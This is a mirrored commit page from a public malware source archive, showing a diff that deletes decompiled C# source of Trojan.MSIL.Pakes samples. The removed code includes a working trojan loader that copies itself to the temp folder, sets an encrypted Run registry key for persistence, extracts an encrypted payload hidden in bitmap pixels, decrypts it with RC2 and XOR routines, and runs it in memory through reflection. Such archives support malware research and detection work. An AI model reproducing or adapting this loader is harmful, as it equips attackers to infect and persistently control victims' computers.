daniel/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2026-06-17 00:09:23 +00:00
Code Issues Projects Releases Wiki Activity

mov + add

Browse Source
This commit is contained in:
vxunderground
2022-08-21 20:41:01 -05:00
parent 7290cd4cd5
commit 4121be2648
1560 changed files with 0 additions and 418574 deletions
Download Patch File Download Diff File Expand all files Collapse all files
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/AssemblyInfo.cs
-10
View File
@@ -1,10 +0,0 @@
using System.Reflection;
[assembly: AssemblyProduct("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTitle("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg.cs
-34
View File
@@ -1,34 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg
// Assembly: udpate4crypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 541DEA59-E19A-477D-AB3D-3DB3AA857568
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Text;
public class FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg
{
public static byte[] LlþmQÎ5äìðöNè6ôÌBJäéõ5yCÓ(
byte[] ØöÆoêÓÙIõûÞBábzjþLeÈfãÊo6,
string bÚüÆsÀõÂruGGØß0PõÏjrõüæËÁ)
{
byte[] bytes = Encoding.Default.GetBytes(bÚüÆsÀõÂruGGØß0PõÏjrõüæËÁ);
int num1 = (int) ØöÆoêÓÙIõûÞBábzjþLeÈfãÊo6[checked (ØöÆoêÓÙIõûÞBábzjþLeÈfãÊo6.Length - 1)] ^ 112;
byte[] arySrc = new byte[checked (ØöÆoêÓÙIõûÞBábzjþLeÈfãÊo6.Length + 1)];
int num2 = checked (ØöÆoêÓÙIõûÞBábzjþLeÈfãÊo6.Length - 1);
int index1 = 0;
while (index1 <= num2)
{
int index2;
arySrc[index1] = checked ((byte) ((int) ØöÆoêÓÙIõûÞBábzjþLeÈfãÊo6[index1] ^ num1 ^ (int) bytes[index2]));
if (index2 == checked (bÚüÆsÀõÂruGGØß0PõÏjrõüæËÁ.Length - 1))
index2 = 0;
else
checked { ++index2; }
checked { ++index1; }
}
return (byte[]) Utils.CopyArray((Array) arySrc, (Array) new byte[checked (ØöÆoêÓÙIõûÞBábzjþLeÈfãÊo6.Length - 2 + 1)]);
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/My/MyApplication.cs
-18
View File
@@ -1,18 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: udpate4crypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 541DEA59-E19A-477D-AB3D-3DB3AA857568
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyApplication : ApplicationBase
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/My/MyComputer.cs
-24
View File
@@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: udpate4crypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 541DEA59-E19A-477D-AB3D-3DB3AA857568
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/My/MyProject.cs
-108
View File
@@ -1,108 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: udpate4crypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 541DEA59-E19A-477D-AB3D-3DB3AA857568
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[HideModuleName]
[StandardModule]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[ComVisible(false)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/OPEtRNjGrHNcOTxRFUpKCVkZr.resx
-129
View File
File diff suppressed because one or more lines are too long
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/Trojan.MSIL.Pakes.ap.csproj
-51
View File
@@ -1,51 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{23ED050B-53FC-472A-A537-9B5A52691057}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>udpate4crypt</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="gZyQgvIuiwnkbwcosoPFhOUHu.cs" />
<Compile Include="FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg.cs" />
<Compile Include="gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.cs" />
<Compile Include="èóÒÒÆsÝnËÓPÛ8ÏT9DÚÖïàsaáf.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="OPEtRNjGrHNcOTxRFUpKCVkZr.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/Trojan.MSIL.Pakes.ap.sln
-20
View File
@@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "udpate4crypt", "Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a.csproj", "{23ED050B-53FC-472A-A537-9B5A52691057}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{23ED050B-53FC-472A-A537-9B5A52691057}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{23ED050B-53FC-472A-A537-9B5A52691057}.Debug|Any CPU.Build.0 = Debug|Any CPU
{23ED050B-53FC-472A-A537-9B5A52691057}.Release|Any CPU.ActiveCfg = Release|Any CPU
{23ED050B-53FC-472A-A537-9B5A52691057}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/gZyQgvIuiwnkbwcosoPFhOUHu.cs
-73
View File
@@ -1,73 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: gZyQgvIuiwnkbwcosoPFhOUHu
// Assembly: udpate4crypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 541DEA59-E19A-477D-AB3D-3DB3AA857568
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a.exe
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using My;
using System;
using System.Drawing;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
public class gZyQgvIuiwnkbwcosoPFhOUHu
{
private static string ÌèJ8ûùdcÄÍFÞþAÃrÑtf4ßçEìp = Path.GetTempPath();
[DllImport("Shell32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int ShellExecuteA(
IntPtr Parent,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string OperationType,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string FileLocation,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string Parameters,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string StartDirectory,
int ShowType);
[STAThread]
public static void Main()
{
string str1 = gZyQgvIuiwnkbwcosoPFhOUHu.ÌèJ8ûùdcÄÍFÞþAÃrÑtf4ßçEìp + Path.GetFileName(Application.ExecutablePath);
if (!File.Exists(str1))
MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, str1, true);
Registry.CurrentUser.OpenSubKey(gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.TrGFrÒodäñÄTâåçÐüjÑÇâÞõØf("v/68Y/qkJeaS4eDWlF0SbJDFZRIySMJYjAm0AG3+medFAIXZ1ITzRIYCOyMX1R7k", "RKÞSÞSWVðxÞ1PhOõøÒLQÊaþéÅ"), true).SetValue(gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.TrGFrÒodäñÄTâåçÐüjÑÇâÞõØf("v0LxWsGXUlRG60QRoscrAQ==", "RKÞSÞSWVðxÞ1PhOõøÒLQÊaþéÅ"), (object) str1, RegistryValueKind.String);
ResourceManager resourceManager = new ResourceManager(gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.TrGFrÒodäñÄTâåçÐüjÑÇâÞõØf("SVMNNa5JffQB6QfHfch/EssaiM+Y58r3SHhA4mm7808=", "RKÞSÞSWVðxÞ1PhOõøÒLQÊaþéÅ"), Assembly.GetExecutingAssembly());
string str2 = Conversions.ToString(resourceManager.GetObject(gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.TrGFrÒodäñÄTâåçÐüjÑÇâÞõØf("PjM9rTCOv6/wPdntEYSAw/SARcL/AtIw7ceDd1BVQKY=", "RKÞSÞSWVðxÞ1PhOõøÒLQÊaþéÅ")));
byte[] numArray = FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg.LlþmQÎ5äìðöNè6ôÌBJäéõ5yCÓ(èóÒÒÆsÝnËÓPÛ8ÏT9DÚÖïàsaáf.ÏlìAhígr8ÁBÌðæbÐèØÇÀöe7Ïï((Bitmap) resourceManager.GetObject(gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.TrGFrÒodäñÄTâåçÐüjÑÇâÞõØf("QsqlNwxm0pr/yLbIttkT6SE64MMlq3ThA5oEyMM87CE=", "RKÞSÞSWVðxÞ1PhOõøÒLQÊaþéÅ")), str2), str2);
byte[] ôPi8àÌélê7À7céùSÈÓðÓsäð3Á = FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg.LlþmQÎ5äìðöNè6ôÌBJäéõ5yCÓ(èóÒÒÆsÝnËÓPÛ8ÏT9DÚÖïàsaáf.ÏlìAhígr8ÁBÌðæbÐèØÇÀöe7Ïï((Bitmap) resourceManager.GetObject(gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.TrGFrÒodäñÄTâåçÐüjÑÇâÞõØf("8raMKXPkQr6UWqQ2+wRTIGesLBIHrpC5+/kdT293+pU=", "RKÞSÞSWVðxÞ1PhOõøÒLQÊaþéÅ")), str2), str2);
object[] hÈÒÁíÎNDySFnÝzìî9æYpTÍðùà = new object[3]
{
(object) numArray,
(object) true,
(object) "nothing"
};
gZyQgvIuiwnkbwcosoPFhOUHu.FpgØVóqvïYðøàÅÂHjÕgçÐÃßAÊ((object) ôPi8àÌélê7À7céùSÈÓðÓsäð3Á, gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.TrGFrÒodäñÄTâåçÐüjÑÇâÞõØf("m76OjKYMBus=", "RKÞSÞSWVðxÞ1PhOõøÒLQÊaþéÅ"), gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.TrGFrÒodäñÄTâåçÐüjÑÇâÞõØf("k1fBXnzAnwo=", "RKÞSÞSWVðxÞ1PhOõøÒLQÊaþéÅ"), gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.TrGFrÒodäñÄTâåçÐüjÑÇâÞõØf("KNt/euSAGWQ=", "RKÞSÞSWVðxÞ1PhOõøÒLQÊaþéÅ"), hÈÒÁíÎNDySFnÝzìî9æYpTÍðùÃ);
}
public static void FpgØVóqvïYðøàÅÂHjÕgçÐÃßAÊ(
object ôPi8àÌélê7À7céùSÈÓðÓsäð3Á,
string XìrëjÐ1ùSÀjû3RUØÎãüruÑüCF,
string LÏßv6GdeÆyßnÃwqyC9eÊWÅsÐû,
string è0óË6ÏîeÛN1VyMk6ÐvÝzZAbÅö,
object[] hÈÒÁíÎNDySFnÝzìî9æYpTÍðùÃ)
{
System.Type Type = typeof (Assembly);
object[] objArray = new object[1]
{
RuntimeHelpers.GetObjectValue(ôPi8àÌélê7À7céùSÈÓðÓsäð3Á)
};
object[] Arguments = objArray;
bool[] flagArray = new bool[1]{ true };
bool[] CopyBack = flagArray;
NewLateBinding.LateGet((object) null, Type, "Load", Arguments, (string[]) null, (System.Type[]) null, CopyBack);
if (flagArray[0])
ôPi8àÌélê7À7céùSÈÓðÓsäð3Á = RuntimeHelpers.GetObjectValue(objArray[0]);
object obj;
obj.GetType().InvokeMember(è0óË6ÏîeÛN1VyMk6ÐvÝzZAbÅö, BindingFlags.InvokeMethod, (Binder) null, RuntimeHelpers.GetObjectValue(obj), hÈÒÁíÎNDySFnÝzìî9æYpTÍðùÃ);
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.cs
-25
View File
@@ -1,25 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ
// Assembly: udpate4crypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 541DEA59-E19A-477D-AB3D-3DB3AA857568
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a.exe
using System;
using System.Security.Cryptography;
using System.Text;
public class gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ
{
public static string TrGFrÒodäñÄTâåçÐüjÑÇâÞõØf(
string Kå1ÍÀ4b6áßÕåàøXqídxozïxóa,
string ÅÒúÕbb2WPTfïYR1nÓD1ïmëÂlL)
{
RC2CryptoServiceProvider cryptoServiceProvider = new RC2CryptoServiceProvider();
byte[] hash = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(ÅÒúÕbb2WPTfïYR1nÓD1ïmëÂlL));
cryptoServiceProvider.Key = hash;
cryptoServiceProvider.Mode = CipherMode.ECB;
ICryptoTransform decryptor = cryptoServiceProvider.CreateDecryptor();
byte[] inputBuffer = Convert.FromBase64String(Kå1ÍÀ4b6áßÕåàøXqídxozïxóa);
return Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/èóÒÒÆsÝnËÓPÛ8ÏT9DÚÖïàsaáf.cs
-67
View File
@@ -1,67 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: èóÒÒÆsÝnËÓPÛ8ÏT9DÚÖïàsaáf
// Assembly: udpate4crypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 541DEA59-E19A-477D-AB3D-3DB3AA857568
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.Drawing;
public class èóÒÒÆsÝnËÓPÛ8ÏT9DÚÖïàsaáf
{
public static byte[] ÏlìAhígr8ÁBÌðæbÐèØÇÀöe7Ïï(
Bitmap Ð8FUXkÎðcô7ïcUäìZ0EHvQñlT,
string öÞÜVnbeRPÛåQMäGwÛÉïTàÁtâÑ)
{
byte[] numArray;
try
{
List<byte> byteList = new List<byte>();
string str = öÞÜVnbeRPÛåQMäGwÛÉïTàÁtâÑ;
int index = 0;
int length = str.Length;
int num1;
while (index < length)
{
char String = str[index];
checked { num1 += Strings.Asc(String); }
checked { ++index; }
}
int num2 = checked (Ð8FUXkÎðcô7ïcUäìZ0EHvQñlT.Width - 1);
int x = 0;
while (x <= num2)
{
int num3 = checked (Ð8FUXkÎðcô7ïcUäìZ0EHvQñlT.Height - 1);
int y = 0;
while (y <= num3)
{
Color color = Ð8FUXkÎðcô7ïcUäìZ0EHvQñlT.GetPixel(x, y);
int r = (int) color.R;
int g = (int) color.G;
int b = (int) color.B;
int num4 = 0;
int num5 = r % (int) byte.MaxValue;
int num6 = checked (b - unchecked (checked (unchecked (num5 % (int) byte.MaxValue) + g) % (int) byte.MaxValue / 3));
int num7 = checked (num5 + (int) byte.MaxValue * num6) ^ num1;
if (num7 != 47)
byteList.Add(checked ((byte) (num7 - (int) byte.MaxValue)));
color = new Color();
num4 = 0;
checked { ++y; }
}
checked { ++x; }
}
numArray = byteList.ToArray();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
numArray = (byte[]) null;
ProjectData.ClearProjectError();
}
return numArray;
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/AssemblyInfo.cs
-3
View File
@@ -1,3 +0,0 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/MyApplication.cs
-18
View File
@@ -1,18 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: Server Attacker V32, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 924A35BE-71BC-492C-B989-A039BE23F604
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[GeneratedCode("MyTemplate", "10.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyApplication : ApplicationBase
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/MyComputer.cs
-24
View File
@@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: Server Attacker V32, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 924A35BE-71BC-492C-B989-A039BE23F604
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "10.0.0.0")]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/MyProject.cs
-108
View File
@@ -1,108 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: Server Attacker V32, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 924A35BE-71BC-492C-B989-A039BE23F604
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[GeneratedCode("MyTemplate", "10.0.0.0")]
[StandardModule]
[HideModuleName]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/Trojan.MSIL.Pakes.aq.csproj
-46
View File
@@ -1,46 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
